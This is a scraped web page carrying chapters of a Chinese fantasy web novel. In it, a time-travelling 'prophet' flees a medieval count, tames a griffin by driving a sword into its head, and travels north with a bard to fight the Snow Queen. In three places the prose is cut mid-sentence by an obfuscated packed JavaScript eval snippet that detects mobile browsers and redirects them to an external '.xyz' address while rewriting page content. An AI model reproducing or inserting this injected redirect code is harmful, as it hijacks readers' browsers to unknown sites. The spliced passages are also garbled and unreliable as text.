箱子底部的滚轮似乎是起到了让它轻松地被搬运的作用,看上去就是一辆微型到了极致的马车。可想而知,这应该是对独自上路的旅人来说相当方便的道具。 但这个时代的人们出行基本上都会雇佣马车或者跟随商队,因此它似乎也没那么有用。 香槟伯爵之所以特别在意这个小盒,是因为他之前就已经听到了下属的通报:那个能够发出天堂光芒、让集市乱糟糟起来的物品据说就是从那个盒子里拿出来的。 谁知道那个盒子里到底还装了多少东西呢? 虽说如此,但香槟伯爵也没有产生什么觊觎的想法:拥有整个欧洲最中心的贸易集市,他从来都不缺财富。 他犹豫地转了转戒指,有些拿捏不准自己应该表现出什么样的态度了。 虽然教会总喜欢编写一些神奇小故事,但之前可没有哪个领主的领地真的出现过这么特殊的情况,他大概也是第一个不得不去处理这种突发事件的倒霉鬼。 也许他应该通知一下主教。 香槟伯爵有些头疼地想:不管面前的这个人到底是不是骗子,这种麻烦事就应该丢给那群家伙宗教内部自己解决。 但不管如何,至少在真相水落石出前,他需要对这位“上帝的使者”表现出足够尊敬的态度。 “我无意探究您的行程。” 他说:“但我听闻,今天您在我的领地上,用来自天堂的光辉救赎了一位曾执迷不悟地行走在错误道路上的商人。” 与此同时,夏章雾也打量着这位只存在于历史当中的伯爵。 对方的身上穿着名贵的丝绸,身材壮硕但并不显得臃肿,端坐的姿势表现出尊重的态度。但从表情来看,他似乎对这件事很苦恼。 夏章雾完全理解这种情绪。 毕竟发生在集市上的事过于匪夷所思,还涉及到了宗教。不管哪位领主遇到了这种情况,估计都要头疼好一会儿的时间。 更别说夏章雾自己现在也挺头疼的。 在中世纪,事情闹得这么大肯定会引来领主和教会两方面的注意。 现在他已经被带到了领主的面前,这还好,只要他随机应变点,想来也能忽悠过去。但要是遇到了教会的专业人员嘛…… 哈哈。 这么想,果然还是快点跑路比较好。 “香槟郡的领主,那位商人的眼中有着北地冰雪女王制造的冰,那冰让他无法去爱他人,也无法看到万物中的美。” 想到这里,夏章雾也露出了严肃的表情,他向面前的这位伯爵行礼:“我只是帮助他重新回到了上帝的怀抱。” 在来到城堡前的路上,他抓紧时间看了眼自己的笔记本,从读者那里知道了一点有关于冰雪女王的情报。 感谢讲了遍基础剧情的爱丽丝和暮川夜,虽然他依旧觉得有很多非常在意的地方还没有得到解释,但现在他至少知道那位吟游诗人说的内容没问题了。 香槟伯爵“唔”了声。 “冰雪女王?”他问。 “香槟郡只是我路程中的一站。我的终点乃这片土地上最北的地方,冰雪女王的所在。” 夏章雾微微低头:“上帝的旨意领导我前往那里,斩杀那个把人类变成冰雪的怪物。希望您能允许我现在离开您的领地,让我继续完成我重要的职责。” 说实话,他现在真的恨不得转头就走:再不快点跑路,他就真的要撞上带着人赶到这里的地区主教乃至大主教了! 但香槟伯爵用手指敲了敲椅子扶手,明显不太能够接受这个提议。 毕竟他也不是很想得到那些听到消息后赶到这里的主教们的指责。要是他们嚷嚷着是自己把神明使者放走,然后告状告到大主教那里,他也得碰一鼻子的灰。 于是他也跟着露出了严肃的表情。 “您是被主赋予重责之人。” 他说:“我并非想阻碍您履行自己的职责,但请您在我的城堡中暂时休息一晚。明天我将用送别的宴会来招待您,以表示对您拯救了我领土中子民的感激。” 夏章雾微微皱了下眉,但没有出言继续坚持自己的观点。 “香槟郡的领主,我并不需要送别。” 他只是低下头,平静地说:“但如果这是您的愿望,那么我无可质疑。” 香槟伯爵的立场很清楚:他想把这件事交给教会内部处理,并不想插手惹来不快。就算是他给出再多的理由也没法改变他的想法。 所以说,现在他只能靠自己了。 夏章雾的目光坚定起来。 他跟着伯爵安排的女仆来到临时房间,在里面思考起了接下来的计划。 ——首先,他现在就得走。 他已经观察好了适合的路线,应该能够在只惊动小部分人的情况下离开。 如果可以的话,他最好还要额外去一趟香槟集市里专门为商人开设的旅馆,寻找到那个似乎知道“冰雪女王”情报的北方人。 那个人知道多少有关冰雪女王的情报还在其次,主要是如果没有人带路,光靠他自己是绝对没法飞到挪威。 因为他根本就不知道沿途有哪些可以休息或者补给的地方,在这方面读者也完全帮不上忙,他必须要有一个当地的向导。 至于具体的规划…… 夏章雾按了按眉心。 作者饶有兴致地欣赏着自家主角那副苦恼的样子,津津有味地吃了一口爆米花,完全就是电影院里看喜剧片的观众状态。 “需要提示吗?”它说。 夏章雾没好气地抬头看了一眼。 “你也可以直接飞走哟。”作者友善地出言提醒道,“还记得怎么飞吗,亲爱的天使先生?” 飞走…… 夏章雾的眼角跳了跳。 不得不说,这还真是个不错的主意。只要光线再暗下来一点,以中世纪人均夜盲症的情况来看,基本没人能注意到他。 但他要是真的在众目睽睽下长出翅膀,然后就这么飞走的话,总感觉后续不管怎样,都无法改变这群中世纪人对自己的误解了。 “这有什么大不了的。” 作者似乎看穿了他的想法,语气那叫一个理直气壮:“等解决完这次的目标,我们就回二十一世纪了,难不成这里还有人能活到那时候?” 呵呵。 难说。 夏章雾缓缓地虚起眼睛。 说实话,他在未来应付一个俄罗斯人就已经很艰难了,完全不希望自己接下来还要背负上什么莫名其妙的债务。但是话又说回来…… 反正他连自己的名字都没说出来。 “等天色昏暗下来。” 他很快就做出了决定,并且开始收拾自己的东西:“我就直接离开这里。作者,帮忙标记一下路线。” “这种事我还是没问题的。” 作者笑嘻嘻的声音传来:“加油哦!” 这个冬天的夜晚来得格外的早。 做完所有的准备后,夏章雾并没有花多长的时间,就等到了天色彻底变暗的时刻。 期间并没有人来喊他出去,说明最糟糕的事情没有发生:教会的人员并没有在太阳落山之前抵达。 外界的光线昏暗,灯还没有点亮,外面也没有人闲着没事地盯着天空看,而恰到好处的风能够为他剩下不少的力气。 ——完美的离开时间。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15507801|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “那么。” 夏章雾提起行李箱,眺望了一眼远方:“直接起飞!” 一对宽阔的黑白色翅膀在他的身后长出,有力的羽翼在空气中连连拍打几下,乘着夜晚的寒风起飞。 目前为止,夏章雾还没有发现这对翅膀承受重力的上限。考虑到这对翅膀本质上是对非人生物的模拟,说不定带着几百公斤的东西都能轻松自如地在空中表演杂耍。 是的,这很不科学,但管它呢。这个世界上不科学的东西实在太多了。 “往前飞,左左左。好,就在这附近,你可以停下来了。下面的这个地方就是旅馆。” 作者熟练地指挥着自家的主角在香槟集市上飞来飞去,然后好奇地问道:“你是打算先去要那一半财产,还是直接找那个吟游诗人?” 他们一点都不担心此时会有香槟伯爵的人发现不对劲找过来——这年头,人就算骑着马跑也不一定有天上飞得快,所以还在聊天。 “直接找北方人。” 这次在金钱的诱惑面前面前,夏章雾表现得相当冷静:“钱总有机会赚到,而且这种大型集市中,大商人的付款方式基本上都是汇票。那个商人身上也未必有多少现金。” 作者“嗯”了一声。 “三楼第二个房间,只有他一个人。” 它说。 三楼第二间。 夏章雾在心里重复了一遍,在空中进行了一个急停,让自己悬浮在空中,随后敲了敲这间房子的窗户。 大约十秒后,窗户被推开,露出一对有些惶恐的眼睛。但很快,这对眼睛中的神色就变成了震惊。 “天天天天——” “勿要声张。”夏章雾说。 吟游诗人立刻捂住自己的嘴,拼命点头,随后急忙打开窗户,几乎是以毕恭毕敬的态度把外面的“天使”迎接了进来。 有那么一瞬间,夏章雾都在怀疑自己的身上是在发光,否则没有办法解释面前的这家伙为什么那么惊讶。 嗯……虽然半夜看到个鸟人在敲你的窗户确实也挺令人震惊的。 “我要去北方杀死那位女王。” 夏章雾收起背后的翅膀,打量着面前激动之色溢于言表的男人,直截了当地开口:“你打算带我去吗?” 吟游诗人吸了一口气,直接拖着自己的腿跪了下来,用激动的声音喊道: “当、当然愿意!虽然我只是个吟游诗人,但是我曾尝试寻找过她的城堡,我知道她所在的位置!那位冰雪女王带走了我的儿子——我在这片土地上四处游荡,就是为了找到救他的方法!只要能让他回家,我什么都愿意做!” 夏章雾这才注意到面前的男人瘸着一条腿。 “你的腿没有问题吗?”他问。 然而男人只是摇头,他哀切地恳求道: “天使啊,我的腿就是当初在冰雪女王的城堡前,被雪给冻坏的。但请让我和您走吧!如果我能接回我的儿子,我不仅能付出我的腿,还有我的眼睛,我的心!” 夏章雾看了他一会儿,最后叹了口气。 眼睛和心脏都出来了,你到底是在求天使的庇佑还是在求魔鬼的承诺? 虽然比起高尚的天使,他的性格也确实更像魔鬼就是了。 “那就走吧。”他说,“我们现在就离开香槟郡。以后叫我勒托就行,你的名字呢?” “斯库德·贝尔德。” 男人说,然后突然想起来了什么,用惊讶的目光看着他:“原来您就是那位天使!天啊,我还以为是这个世界上所有的天使都有这种颜色的羽毛呢……” 夏章雾有些茫然地“啊”了一声。 但他这个迷茫的声音完全没有阻止这个进入了狂喜状态的吟游诗人。 “我最伟大的祖先塔利埃辛·贝尔德曾亲眼见证过您的事迹!您曾经在不列颠的土地上杀死了一条可怕得无以复加的龙!” 斯库德不受控制地喜极而泣,捂住嘴自言自语道:“天啊,我们的家族竟然有幸能够与您再次相遇,并第二次被您所拯救……” “哦,是这、这样吗?” 夏章雾扯了扯嘴角,勉为其难地回答:“那确实很巧了。” ——见鬼,这到底都是什么孽缘啊! 69.呱,真是精彩的表演 越往北方,冬日的风便越来越寒冷。 夏章雾用打火机点燃面前的枯树枝,看着明亮的火焰在石头围住的区域中噼里啪啦的燃烧,伸手感受着冬夜里难得的温度。 远方的森林中传来狼的嚎叫声。 古怪而又悠长,在月色下显得格外清晰。 然后他将今天捉到的野鹿熟练地拔毛放血,扔掉心脏之外的内脏,然后用树枝插着,放在火焰上面炙烤。 冬天的野鹿身上的秋膘还没有消耗完,淡黄色的油脂从肉块上滴落,时不时让火苗短促地往上蹿一截,熏黑了鹿肉的表面。 那位吟游诗人则是拼命地搓着手,似乎想要自己更加暖和一点。 “我们已经走了至少四分之一的路了!” 他看着火焰,用乐观的语调说:“呼,最冷的季节马上就要来了。但等我们来到冰雪女王的城堡,那时大概是春天。在那样的时间,或许对付她要轻松点。” 在这半个月的相处后,斯库德在面对夏章雾时也不像之前那样拘谨了,而是展现出了吟游诗人那种独特的活跃而又充满幻想的性格。 他在火焰前挥舞着手,兴奋地说道: “勒托先生,也许我到时候可以为您写一首诗歌!像我的祖先、诗人之王所写的故事一样流传!这个故事甚至能流传到几百年后……” 夏章雾打了个哈欠。 他掂量了两下手里的树枝,没好气地瞥了这家伙一眼。 “如果你真的打算这么做的话。”他说,“那我建议你一定要把自己今天早上被一只兔子吓得满地乱窜的样子写进去。” “可是……” 斯库德举起手,发出气弱的声音:“那个兔子在灌木里发出的声音真的很恐怖……” 然而夏章雾只是“呵呵”一笑。 “两天前,你为了向我证明塞西河的冰面很厚,所以根本不用飞过去,并因此掉进了河中央冰窟里的事,你最好也写一下。”他说。 吟游诗人的声音越来越小。 “这个,上次来的时候冰面确实很厚来着。” 他颇为心虚地说。 “最重要的是,上周你在旅馆里面坚持要表演自己的本行,结果就是我们被在场所有的人全都赶出了门,不得不在教堂里过夜。” 夏章雾把彻底烤熟的鹿肉串拿回来,幽幽地开口道:“目前为止,这是我听到的最难听的被称为乐曲的东西。” “这个,那个……好吧,我在音乐这方面的能力真的不太行。” 斯库德抓了抓头发,最后叹了口气,承认了自己的失败:“我之所以能成为吟游诗人行会的会员,其实还是因为我的姓氏。我觉得我更适合写诗,虽然我还没尝试过。” 夏章雾把肉串丢给他。 “很多人到中年还一事无成的人通常都会把自己想象成诗人或者作家。”他说,“其实我觉得你这个状态挺好的。” 而且从后续的历史来看,斯库德确实没有成为什么优秀的创作者。毕竟现代社会只有圣乔治屠龙的传说,并没有某个天使或者先知杀掉冰雪女王的故事流传。 “听上去真打击人。” 斯库德愁眉苦脸地说,最后叹了口气:“不过如果我能救回我的儿子,我应该也不会去想那么多。我现在唯一的目标就是能够陪他长大。” 夏章雾开始烤第二串野鹿肉。 “那就加快速度,我们的进度太慢了。” 他说。 目前为止,他们已经离开了香槟郡半个月。 在这半个月里,夏章雾在这位斯库德·贝尔德先生的帮助下成功变卖了些东西,得到了一笔还算是丰厚的钱。 他们买了足够的物资,搭乘过马车,“借”过路上盗贼的马,也跟随着商队走过了几程。有时遇到湍急的河流和连绵的山峦,夏章雾也懒得绕路,直接就拽着这位吟游诗人从上面飞过去。 这种几乎只走直线的行程缩短了他们大量的时间。按照夏章雾自己的估计,他们现在大概已经到达了丹麦的国界,正式踏上北欧的领域。 但距离那个位置依旧很远。 因为按照这位吟游诗人的说法,冰雪女王的城堡伫立在大陆最北的边缘,往前就是无边无际的死亡之海。 按照他的说法,那里很有可能是现代挪威的芬马克,欧洲最北的区域。而冰雪女王的城堡就是伫立在那片雪原上,是那个地区最高的塔。 它高得不可思议,仿佛直接天穹。 夏章雾眺望着北方。 在夜色下,天的尽头什么都没有。 “可是我们还能怎么快?” 斯库德咬下一口并不算多好吃的鹿肉,有些困惑地问道:“就算是全程骑马,也没有办法在短时间内那么快地抵达北方。更何况……” “很简单。我们换个新坐骑。” 夏章雾把第二串烤完的肉丢进嘴里,然后拿起手边的剑——这是他在路过上一个城市里顺手买来的东西。虽然剑作为一种武器相当拙劣,但在他的手中还算顺手。 当然,最重要的是很帅。 强度是暂时的,帅气是一辈子的。 四周野狼的叫声不知何时已经消失了。夜晚呈现出一种空前的寂静,只有空气的呼啸声与树叶的声响。 夏章雾眯起眼睛,捕捉到了除此之外的另一种声音。 ——有翅膀在拍动。 一个巨大的黑影从空中扑下,宽阔的翅膀在它的身后拍打,卷起狂乱的气流。斯库德下意识地往后一滚,用手肘挡住脸。 他的躲避技巧相当拙劣,但狮鹫的兴趣所幸并不在他的身上。它的目标是那只已经被开膛破肚的鹿,它就是被这个的气味吸引来的。 “这啥啥啥玩意啊!” 斯库德迷茫地喊道。 “当然是狮鹫啦。” 夏章雾用轻松的语气作为回答,他挥舞了一下没有拿剑的手:“嗨,老伙计。有兴趣载我们一程吗?我们打算去北方!” 埋在鹿尸体上啃食的狮鹫抬起头。 它那对属于捕食者的巨大黄铜色眼睛在黑暗里发出幽微的光芒,其中看不到什么人性化的色彩,只有冰冷的食欲。 “嗷——” 它飞扑过来,朝这个竟然敢挑衅自己和打扰自己进食的猎物发起攻击。它知道这种孱弱的生物非常脆弱,可以轻而易举地用牙齿撕碎。 但它的进攻被闪开了。 “好吧,看来你几百年前的脾气不怎么样。” 夏章雾随意地扭动几下手腕,语气听上去有点唏嘘:“你真该学学你几百年后的性格,当时我第一次见你就能把你从头到尾摸个遍。当时我坐在你身上,追赶那群傻瓜学生的时光回想一下还挺美妙的。” 话虽如此,但他却咧咧嘴,露出一个灿烂至极的笑容。 “不过嘛,狮鹫脾气不好才正常。” 剑锋出鞘。 “我早就想和狮鹫打架了,只是以前你的性格太好,我都不好意思以莫名其妙的理由揍你一顿。现在就没这个问题了。” 月光在清如泉水的锋刃上滑过。 狮鹫发出一声惊慌的鸣叫。它不知道为什么面前的生物突然间变得让它感到危险,但作为野兽的本能让它拍打起了翅膀。 巨大的兽类凭借双翼,以与体型不符合的灵巧飞上天空。 但人类反应得比它更快,也飞得更高。 他飞在狮鹫的上方,而那只野兽愤怒又畏惧地嘶吼着,在空中转身,尝试用自己尖锐的利爪扯下面前这个怪胎的翅膀。但夏章雾只是借着气流呼啸而来的推力躲过,同时双手持剑,刺入狮鹫的肩胛骨缝隙处。 血洒了出来。 夏章雾发出轻松的大笑声。他无视了狮鹫的嘶吼,也没有尝试划开更大的伤口,而是直接抽出剑身,往后倒退飞去。 说实在的,这种程度的飞行技巧实在是有点过分。如果不把那些乱七八糟的传说生物计算在内,自然界能够做到这件事的也只有翅膀结构极其特殊的蜻蜓和蜂鸟。 狮鹫就明显没有想到面前的人类竟然也可以做到。它发出有些慌乱的声音,但这个时候才做出反应已经晚了。 它前扑的动作无法收回。 一上一下间,夏章雾已经重新来到了它头颅的位置,并且毫不犹豫地将剑深深地、深深地插入了它后脑的位置。 狮鹫发出痛苦的嘶鸣。 它在剧烈的疼痛中无法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514982|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 继续飞行,只能直直坠落下来,砸在地面上,激起无数碎石和灰尘。而夏章雾也因为反冲的力道踉跄了一下,但还是扶着剑,在狮鹫的身上站稳了。 全程处于抱头蹲防状态的斯库德目瞪口呆地看着这一幕。 他一时间不知道自己该说什么,张了张嘴,最后只能蹦出来一句很呆的话。 他说:“您当时杀死那条巨龙的时候,也是这个场景吗?” “哈,这玩意可没龙恐怖。” 夏章雾坐在狮鹫背上,一只手握着剑,另一只手用力地揉搓了两下狮鹫脑袋位置的羽毛,语气听上去带着几分笑意:“至少它可不会喷火。” 他的自我认知相当清晰:他能打得过狮鹫,但未必能打得过龙。毕竟按照传说,同样都是远程攻击,龙息喷过来人就得死,人往龙身上打一梭子子弹龙说不定都没事。 作为对手,这种家伙才是最麻烦的。 从这个角度来说,他真的非常佩服那些屠龙勇士。嗯,他也很佩服那个未来的自己:现在他都没想出有什么办法能在中世纪杀死一条龙。 “你也不用那么谦虚。” 作者善解人意地开了口:“毕竟等你这次的任务完成,你就要去杀龙了。时间也不远。” “闭嘴。我现在根本不想想起这件事。” 夏章雾也用中文没好气地回答:“我觉得现在就是我人生中最后的时光了,正在尝试开心地度过每一天,你别出来败坏心情。” “喂喂喂!”作者喊道,“败坏心情什么的,这话听上去也太伤人了吧!” “呜。” 狮鹫发出可怜的呜咽声。 斯库德心惊胆战地看了眼这只还没有死去的巨兽,然后突然想起来了夏章雾之前说的有关于“坐骑”的言论,悄悄咽了下口水。 “没有龙可怕啊……那还好。” 他说:“这就是,我们的新坐骑?” “是啊。狮鹫很聪明,羽毛很舒服,飞行时也几乎感觉不到什么气流。更重要的是,它们的生命力相当顽强,就算受到很严重的伤势也不会死,但依旧会感到疼痛。” 夏章雾拍拍狮鹫的脖子,笑了笑。 “所以我们只要把剑插到它的脖子里,就有一个可以控制狮鹫行动的操纵杆了。” “啊?” 斯库德没完全听懂,但还是勉强从词义中判断出了“操纵杆”到底是什么意思,一时间看向狮鹫的眼神都在惊恐中变得同情了起来。 “听起来,好惨。”他说。 “那你上不上来?”夏章雾问。 “当然要上!能够坐在狮鹫身上,就算是死也值了。我敢保证我的先祖们没有一个有我这么传奇的经历!” 斯库德毫不犹豫地回答。他带着夏章雾的行李箱,有些狼狈地爬上狮鹫的背部,最后紧紧地抓住了狮鹫背部的毛发。 狮鹫的体长足足有三米,背部有一米二,坐下两个成年男性绝对是绰绰有余。 伴随着夏章雾用力一推剑柄,狮鹫发出痛苦的哀鸣,直接张开翅膀,朝着前方飞了过去。 它已经听懂了两个人类的言语。他们过来是为了让自己能够成为他们代步的工具,也就是说只要它能够把他们送到地点,它就可以摆脱后脑位置一阵阵的折磨。 看着狮鹫老老实实起飞的动作,夏章雾满意地点了点头。 他就说嘛,狮鹫很聪明的。 “对了,勒托先生。您是怎么知道这里存在着狮鹫的?”斯库德好不容易在狮鹫背上坐稳了身子,然后有些好奇地问道。 “当然是带着学生来这附近做田野调查的时候发现的了。当时有个倒霉蛋被狮鹫追得直接跑回了营地,于是大家都见识到了这个大家伙。” 夏章雾耸了耸肩,露出回忆的神情。 “本来我还想好好收拾一顿的,结果它一看到我就停了下来,还喵喵叫。怪可爱的。于是我就坐在它的背上,和它一起把那群小傻瓜学生给吓得上蹿下跳……” 呃。 总感觉当天使的学生很辛苦的样子。 斯库德缩了下脑袋,很真诚地想到:幸好他不是学生,就是个过来解救儿子的吟游诗人。不用接受这么严酷的考验。 70.大战之前必有补给 雪逐渐大了起来。 苍白的雪在狂风当中舞动,落在草地上,墓碑上,活着的人与死着的人身上。越往北边走,这种风就越大,这种雪就越冷。 当来到一望无际的冰原时,两个人的身上已经裹上了与北方人交易来的厚重皮毛披风,戴上了手套。 这笔钱是他们带着狮鹫走城市时顺路赚到手的,不得不说,在中世纪驯兽真的是一个相当不错的职业。 “我们离冰雪女王所在的位置更近了!” 斯库德的身上满是积雪,脸被冻得通红,但他的眼睛却是明亮的,那是看到了希望在眼中闪烁时的光芒:“只要再往前飞一个上午,我们就到了。您看,前面就是冰雪女王的城堡!” 夏章雾眺望着远处,发出“哇哦”的惊叹。 在他们的脚下,狮鹫逆着风向前飞去。 他们上方是北方冬日永恒的夜空,巨大的星星与巨大的雪花在夜色中混为一谈。而前方的世界中已经出现了一座高耸的塔。 它坐落在地平线的尽头,修长而又美丽,在夜色当中折射着雪地白茫茫的光,仿佛自身就被朦胧而又绚烂的光辉层层笼罩。 那座洁白的塔身就在光晕中直直地伸到天空之上,肉眼无法注视到它的终结。 “巴别塔。” 夏章雾喃喃地说。 看到这座塔的瞬间,他就想到了《圣经》中那座被人们建立起来的、用来抵达天堂的塔。而更加巧合的是,之前就有读者在评论区里提到过塔罗牌的“高塔”。 塔罗牌“塔”的毁灭寓意,正是来源于巴别塔的崩塌。 “我第一眼看到的时候想到的也是巴别塔。不过那座塔早就被摧毁了——上帝真应该也摧毁这座可怕的塔,让那位冰冷的女王从她高塔的王座上掉下来。” 斯库德那冷得发颤的声音中带着愤懑,不过很快就变成了欢快的轻松:“不过幸好,秉持着上帝意旨的人已经来了,她将和这个冬天一起消失。” 夏章雾忍不住看了他一眼。 或许是因为自己在未来……在过去……呃,总之似乎是自己屠龙的事迹在贝尔德的家族中广为流传的缘故,这个吟游诗人对他的能力抱有无比坚定的信任。 这种信任夏章雾从费奥多尔与阿尔贝蒂娜女王的身上同样见到过。有时他那些蠢得简直无边无际的学生也会用这种目光看他。 ——那是仿佛只要有他在,就什么糟糕事情都能够被解决的信赖眼神。 这种信任,真是有够无赖的。 “但主角的话,就应该是这样的存在啊。” 风雪那仿佛没有尽头的呼啸中,画外音带着笑意的语气在他的耳边响起: “所谓的主角,就是那个永远值得信任的家伙。他们注定拯救世界,他们注定成为英雄。所以说,我亲爱的主角啊、我亲爱的先知——” 风雪正在变得越来越大,到了最后甚至几乎成为了一道雪白的幕墙。 “你或许不喜欢这样的命运。但没关系,这幅嘴硬傲娇的样子也超级可爱哟。” 夏章雾:“……” 夏章雾:“?” 最后,是狮鹫的嘶鸣声成功阻止了主角与作者即将开始的第三百四十二次毫无杀伤力的嘴炮大战。 “呜呜!” 这里的风雪太大了,就连狮鹫都没有办法继续飞下去,只能在雪花组成的屏障前徘徊,发出阵阵不安的鸣叫。 夏章雾的表情也严肃起来,转眼就把作者的事情忘到了九霄云外。 “先下降。”他对狮鹫说,然后看向身后整个人已经被半截积雪埋住的吟游诗人。 “我之前听你说,这片冰原上有人在居住。” 夏章雾不得不加大音量,才能让自己的声音穿过漫漫的风雪:“她愿意接待客人吗?我们现在需要休息一个晚上才能继续走!” “她一定很愿意,我当时能活下来多亏了她把我从冰原上带回来!我还记得她就在这附近,就在病原森林的边上!” 斯库德用力地抖着身上越来越多的雪,同样大声地喊道:“但是我们要飞得更低一点!现在我什么都看不清!” “继续往下飞。” 于是夏章雾往前走上两步,拽住狮鹫后脑上那把剑的剑柄,冷静地指挥道:“我们要离开这股气流的范围。” 狮鹫驯服地往下继续飞去。 很快,他们就来到了距离地面只有两三米高的地方。狮鹫翅膀扇起的风把冰原上那层厚厚的积雪卷起,让它们如同迷蒙的雾气般四处散落。 然而寒冷的气流在低空依旧狂躁。它们发出可怕的轰鸣,似乎在阻止有活人踏入接下来苍白的领域。 “必须尽快找到可以停留的地方。” 夏章雾眯起眼睛,对斯库德说:“风雪这么大的话,如果没有足够温暖的地方歇息,一个晚上过去,你很有可能会冻死在这里。” “我知道。” 吟游诗人擦了把自己的脸,从狮鹫的身上跳下,打着颤的声音也急促了起来:“冰原上的标志物太少了……除了她住在森林的边缘,我只记得那位女士门外的木棍上挂着一盏提灯。” 但是放眼望去,周围根本就没有灯或者木棍的影子。 但斯库德依旧没有放弃,他在已经淹没了他大半个身子的雪中步履维艰地走着,尝试看到其他的地方。 其实说是走,更像是游泳。因为他只能在雪上露出半个脑袋,只能奋力地抬着头,努力划开周围还算是松散的积雪。 “我应该没记错。” 他说:“我记得我当时住的屋子就在这,从窗外能看到那个巨大的冰雪的帷幕……不过话说回来,这里的树木看上去有点不太对劲。” “能闻到附近陌生人的味道吗?” 夏章雾皱了下眉,于是转头去问狮鹫。 狮鹫无辜地看着他,然后用一个巨大的喷嚏表明了自己现在的情况:过于浓烈的冰雪气味现在正不断地往它的鼻子里钻,让它根本辨认不出来其他的气味。 “那就先往回——” 夏章雾的话还没有说完。他就听到了斯库德欣喜的声音。 “我找到了,就在这里!” 吟游诗人似乎是在雪上跌了一跤,但此刻他却并不沮丧,而是用力地扒拉着让自己摔跤的地方,最后欣喜地举起手。 “我就说肯定是这里!我就说这次回来时的树林怎么看上去这么矮!这个房子已经被雪给淹没了,但我想我们还是可以进去住一住!” 他说:“狮鹫,快过来帮忙!” 因为这一路上都是斯库德在帮忙给狮鹫喂各种各样乱七八糟的东西,所以他们两个的关系相处得意外地还不错。狮鹫嘶鸣一声,扇着翅膀就扑到了那里的雪地上。 然后它整只狮鹫就这么埋了进去。 事实证明,能让人陷进去大半个身子的雪不一定真的只有那么厚,也有可能是因为人的体重还不足以让它显露出真容。 “嗷呜!嗷呜!” 狮鹫在雪坑中使劲地扑腾两下,先是有点慌张,但好像很快就找到了这种行为的乐趣,开始扇着大翅膀,满是激情地在雪地里拱来拱去。 “呼,真真真冷……” 斯库德用力拍开被狮鹫掀起的雪,打了好几个哆嗦。在肾上腺素消退后,他才感受到四肢百骸传来的冰冷感触,只能紧紧地抱着自己:“上帝啊,希望里面有能够烧的柴火或者煤炭,能烧上暖和的火。” “相信我,你现在的情况非常不适合突然接触高温。 夏章雾也走了过来。 他在冰冷的空气中长长地呼出一口白雾,然后看着狮鹫在雪地里刨坑的样子,语气轻松地开口:“而且你能感觉到冷说明还算有救,快被冻死的人基本上都是觉得热。” 斯库德在寒风中又打了个哆嗦。 “哇哇,您您您是在天堂和,那些被冻死的高洁灵魂聊聊聊过这个话题吗?”他说。 “不,我是在地狱和那些被剥下衣服、丢到冰天雪地的死刑犯们聊天的时候知道的。”夏章雾微笑着说。 短暂的沉默。 “所以是谁在外面吵吵嚷嚷的?” 最后是女人的声音打破了沉默。她听上去似乎还有点生气:“我的门板都被撞得嘎吱嘎吱响了——原来是一只没有礼貌的大狮鹫,还是只头上被插了剑的笨蛋狮鹫!” “嗷呜嗷呜!” 狮鹫停下动作,拍了拍翅膀,委屈地喊道。 它被教训了很多次不能咬人,但这次它也能听得出来面前的女人是在骂自己。换成平时,它早就咬上去了,但此时它后脑勺还疼着呢! “女士!” 斯库德连忙喊道:“是我!我们这次想要去北方杀死冰雪女王,但这里的夜晚太冷了,我们能在你的房子里待一个晚上吗?” 门打开,一个提着灯的女性走了出来。 “原来是你,笨蛋吟游诗人。” 她没好气地说:“看来你这次找了一只和你一样笨的狮鹫。否则我根本没法想象那把剑到底是怎么跑到狮鹫头——哦,等等。” 女人的视线在夏章雾的身上停留了几秒,最后露出有点意味深长的表情。 “看来这次你还有了个了不得的同伴。” 她说,然后转身回到了自己的小屋里:“请进吧,二位。但那只狮鹫不能进来,因为它实在太大了,我这里可装不下它。” “呜呜!” 被区别对待的狮鹫不高兴地叫了两声。 不过它倒是不太在意这件事,很快就重新冲进了雪堆中,看上去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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女人简单地说,她漆黑的眼睛有些好奇地注视着夏章雾:“你是来杀死冰雪女王的。我能看出来,只有你能做到。你和我见过的所有生物都不相同……不,或许有一个和你很像。” “哦不,等等!” 斯库德差点从沙发上跳起来——相信我,如果他的腿没有问题的话,他肯定会跳起来的。他震惊地叫道:“你竟然还见过别的天使吗?” 夏章雾也吃惊地看着她,甚至刚刚打开的笔记本都没有翻动。 “等等?”他用中文震惊地嘟哝道,“她该不会还见过其他穿越时空的倒霉鬼吧!” “天使?”达普兰女人看向夏章雾。 “实际上。” 夏章雾不得不纠正斯库德的错误理解,免得出现更多的误会:“我只是一名先知。” 他总觉得这位吟游诗人要是活得久一点,整个欧洲的人都能在一个世纪内知道曾出现过一位叫“勒托”的天使。 当然,这与斯库德本人的诗人造诣无关,纯粹是因为他会在无意中对见面的每一个人都说起这件事。 但达普兰女人只是眨了眨眼睛。 “你知道吗?对于我们这些研究魔法的人来说,先知比天使更加不可思议。” 她说:“因为我们都明白一件事,命运就是神意,而神意是不可揣测的。所谓的先知都是造物主的宠儿……” 夏章雾尴尬地笑了一声。 